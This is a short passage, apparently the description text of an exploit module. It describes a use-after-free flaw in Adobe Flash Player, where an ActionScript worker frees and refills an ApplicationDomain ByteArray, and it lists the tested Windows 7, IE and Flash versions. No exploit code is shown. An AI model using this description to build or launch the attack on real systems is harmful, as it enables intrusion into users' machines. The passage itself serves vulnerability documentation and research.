        This module exploits an use after free vulnerability in Adobe Flash Player. The
        vulnerability occurs when the ByteArray assigned to the current ApplicationDomain
        is freed from an ActionScript worker, who can fill the memory and notify the main
        thread to corrupt the new contents. This module has been tested successfully on
        Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.296.
